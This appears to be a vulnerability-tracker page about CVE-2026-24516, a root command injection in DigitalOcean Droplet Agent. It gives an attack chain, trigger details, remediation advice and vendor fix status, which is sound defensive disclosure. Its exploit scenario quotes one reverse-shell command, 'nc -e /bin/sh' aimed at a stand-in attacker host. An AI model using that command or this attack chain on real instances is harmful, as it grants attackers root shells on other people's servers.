Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise metadata service endpoint
-
ExploitInject malicious command in TroubleshootingAgent.Requesting array
-
ExecutionActioner processes metadata without sanitization
-
ImpactExecute arbitrary OS command as droplet agent user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to DigitalOcean metadata service or ability to intercept/control metadata responses. Attacker must craft malicious TroubleshootingAgent.Requesting metadata with injected OS commands. Affects DigitalOcean Droplet Agent versions through 1.3.2 running on affected Droplets. |
| Impact | This vulnerability presents critical real-world risk despite the absence of CVSS and EPSS scores in the provided data. The attack vector is network-based (169.254.169.254 metadata service is accessible to any process on the instance), attack complexity is low (metadata service responses can be manipulated by network-level adversaries or compromised cloud infrastructure), and the required privileges are none (any process can trigger the metadata fetch). The impact scope is HIGH: privilege escalation to root, arbitrary command execution, complete system compromise, and potential lateral movement across cloud infrastructure are all directly achievable. The existence of public proof-of-concept code (referenced at github.com/poxsky/CVE-2026-24516-DigitalOcean-RCE) significantly elevates practical exploitation probability and indicates this is not theoretical. The vulnerability is automatable and requires no user interaction, making it suitable for large-scale cloud environment compromises. This is a critical priority issue with high real-world risk: a combination of high technical impact, low attack complexity, network accessibility, and public exploit code creates an immediately exploitable vulnerability in a privileged system component. |
| Exploit ScenarioDerived | An attacker positioned on the same cloud network segment or with control of cloud infrastructure routing (e.g., via BGP hijacking, ARP spoofing, or compromised cloud fabric) intercepts or redirects metadata service requests destined for 169.254.169.254. When the Droplet Agent sends a metadata fetch request (triggered by a specially crafted TCP packet with specific sequence numbers to the SSH port), the attacker's malicious metadata response contains commands in the TroubleshootingAgent.Requesting array with unvalidated command content (e.g., 'command: nc -e /bin/sh attacker.com 4444'). The agent executes the injected command via exec.CommandContext without sanitization, granting the attacker a root-level shell on the compromised instance, from which they can exfiltrate sensitive data, pivot laterally to other cloud resources, or establish persistent access. A public proof-of-concept demonstrates this attack chain. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
A critical command injection vulnerability exists in DigitalOcean Droplet Agent through version 1.3.2, where the troubleshooting actioner component processes metadata from the metadata service endpoint without adequate input validation, allowing attackers who can control metadata responses to inject and execute arbitrary OS commands with root privileges. An attacker can trigger the vulnerability by sending a TCP packet with specific sequence numbers to the SSH port, causing the agent to fetch and execute malicious commands from the metadata service, potentially leading to complete system compromise, data exfiltration, and lateral movement across cloud infrastructure. A public proof-of-concept exists at https://github.com/poxsky/CVE-2026-24516-DigitalOcean-RCE, indicating active research and potential exploitation risk.
RemediationAI
Upgrade DigitalOcean Droplet Agent to the patched version immediately once available from DigitalOcean (check https://github.com/digitalocean/droplet-agent for release notes and security advisories). Until a patch is available, implement network-level mitigations by restricting or monitoring access to the metadata service endpoint (169.254.169.254) at the instance firewall level if operationally feasible, and ensure that only legitimate system components can trigger metadata service calls. Additionally, consider implementing host-based intrusion detection to monitor for suspicious command execution patterns originating from the Droplet Agent process, and review cloud infrastructure network segmentation to limit the blast radius of a compromised Droplet Agent. Apply the patch as soon as it is released, as this vulnerability allows unauthenticated remote code execution with root privileges on affected instances.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the DigitalOcean Droplet Agent, a privileged system service running on cloud instances that fetches configuration and troubleshooting directives from the metadata service endpoint at http://169.254.169.254/metadata/v1.json. The root cause is classified as inadequate input validation and command injection (CWE-78: Improper Neutralization of Special Elements used in an OS Command). The affected code spans three components: internal/troubleshooting/actioner/actioner.go (processes metadata without sanitizing command content after the 'command:' prefix), internal/troubleshooting/command/exec.go (directly executes commands via exec.CommandContext without prior sanitization), and internal/troubleshooting/command/command.go (parses commands without proper escaping or validation). The vulnerability is triggered when a TCP packet with specific sequence numbers is sent to the SSH port, which causes the agent to interpret the request as legitimate and fetch metadata containing malicious command directives that are subsequently executed in the context of the root-privileged process.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A command injection vulnerability exists in DigitalOcean Droplet Agent through 1.3.2. The troubleshooting actioner component (internal/troubleshooting/actioner/actioner.go) processes metadata from the metadata service endpoint and executes commands specified in the TroubleshootingAgent.Requesting array without adequate input validation. While the code validates that artifacts exist in the validInvestigationArtifacts map, it fails to sanitize the actual command content after the "command:" prefix. This allows an attacker who can control metadata responses to inject and execute arbitrary OS commands with root privileges. The attack is triggered by sending a TCP packet with specific sequence numbers to the SSH port, which causes the agent to fetch metadata from http://169.254.169.254/metadata/v1.json. The vulnerability affects the command execution flow in internal/troubleshooting/actioner/actioner.go (insufficient validation), internal/troubleshooting/command/exec.go (direct exec.CommandContext call), and internal/troubleshooting/command/command.go (command parsing without sanitization). This can lead to complete system compromise, data exfiltration, privilege escalation, and potential lateral movement across cloud infrastructure.
Executive ViewAI
Organizations using DigitalOcean Droplet Agent face significant risk from CVE-2026-24516, a code injection vulnerability rated CVSS 8.8. Successful exploitation could allow attackers to execute arbitrary code or commands on affected systems, potentially leading to full system compromise. Organizations should apply vendor updates when available and consider compensating controls in the interim.
Apply vendor patch. If immediate patching is not feasible: (1) Deploy WAF rules to block injection patterns; (2) Restrict network access to affected components; (3) Enable enhanced logging for suspicious activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
Same weakness CWE-94 – Code Injection
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
EUVD-2026-14461
GHSA-fh3m-562m-w4f6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB